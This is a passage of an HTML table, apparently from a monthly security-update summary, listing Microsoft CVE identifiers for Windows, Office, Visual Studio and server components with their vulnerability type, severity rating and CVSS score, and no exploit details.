  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42900"><span>CVE-2026-42900</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49784"><span>CVE-2026-49784</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50356"><span>CVE-2026-50356</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49165"><span>CVE-2026-49165</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54993"><span>CVE-2026-54993</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58610"><span>CVE-2026-58610</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55050"><span>CVE-2026-55050</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55124"><span>CVE-2026-55124</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55142"><span>CVE-2026-55142</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55032"><span>CVE-2026-55032</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55055"><span>CVE-2026-55055</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55038"><span>CVE-2026-55038</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55134"><span>CVE-2026-55134</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55128"><span>CVE-2026-55128</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55130"><span>CVE-2026-55130</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50359"><span>CVE-2026-50359</span></a></td>
  <td width="256" class="xl74">Microsoft XML Core
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57097"><span>CVE-2026-57097</span></a></td>
  <td width="256" class="xl74">Microsoft XML Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50346"><span>CVE-2026-50346</span></a></td>
  <td width="256" class="xl74">Netlogon RPC Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50402"><span>CVE-2026-50402</span></a></td>
  <td width="256" class="xl74">NTFS Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50506"><span>CVE-2026-50506</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45646"><span>CVE-2026-45646</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54989"><span>CVE-2026-54989</span></a></td>
  <td width="256" class="xl74">Quality Windows
  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50365"><span>CVE-2026-50365</span></a></td>
  <td width="256" class="xl74">Remote Access
  Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54990"><span>CVE-2026-54990</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58594"><span>CVE-2026-58594</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><span>CVE-2026-56190</span></a></td>
  <td width="256" class="xl74">Remote Desktop
  Protocol Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49783"><span>CVE-2026-49783</span></a></td>
  <td width="256" class="xl74">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42990"><span>CVE-2026-42990</span></a></td>
  <td width="256" class="xl74">SQL Server ODBC driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49168"><span>CVE-2026-49168</span></a></td>
  <td width="256" class="xl74">Storage Spaces Direct
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48581"><span>CVE-2026-48581</span></a></td>
  <td width="256" class="xl74">Surface Broker SDMA
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49180"><span>CVE-2026-49180</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50455"><span>CVE-2026-50455</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54111"><span>CVE-2026-54111</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58543"><span>CVE-2026-58543</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58601"><span>CVE-2026-58601</span></a></td>
  <td width="256" class="xl74">Virtual Hard Disk
  (VHD) Miniport Driver Elevation of Privilege Vulernability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520"><span>CVE-2026-50520</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45496"><span>CVE-2026-45496</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57101"><span>CVE-2026-57101</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102"><span>CVE-2026-57102</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305"><span>CVE-2026-47305</span></a></td>
  <td width="256" class="xl74">Visual Studio Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49805"><span>CVE-2026-49805</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50297"><span>CVE-2026-50297</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50325"><span>CVE-2026-50325</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50489"><span>CVE-2026-50489</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57095"><span>CVE-2026-57095</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50416"><span>CVE-2026-50416</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56184"><span>CVE-2026-56184</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50432"><span>CVE-2026-50432</span></a></td>
  <td width="256" class="xl74">Window Virtual
  Filtering Platform (VFP) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54119"><span>CVE-2026-54119</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57976"><span>CVE-2026-57976</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50366"><span>CVE-2026-50366</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49178"><span>CVE-2026-49178</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58529"><span>CVE-2026-58529</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services (ADFS) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54983"><span>CVE-2026-54983</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50695"><span>CVE-2026-50695</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50304"><span>CVE-2026-50304</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50368"><span>CVE-2026-50368</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50324"><span>CVE-2026-50324</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50355"><span>CVE-2026-50355</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50411"><span>CVE-2026-50411</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58631"><span>CVE-2026-58631</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56196"><span>CVE-2026-56196</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56197"><span>CVE-2026-56197</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56169"><span>CVE-2026-56169</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57107"><span>CVE-2026-57107</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56185"><span>CVE-2026-56185</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50312"><span>CVE-2026-50312</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50462"><span>CVE-2026-50462</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57093"><span>CVE-2026-57093</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34346"><span>CVE-2026-34346</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48572"><span>CVE-2026-48572</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48571"><span>CVE-2026-48571</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50400"><span>CVE-2026-50400</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
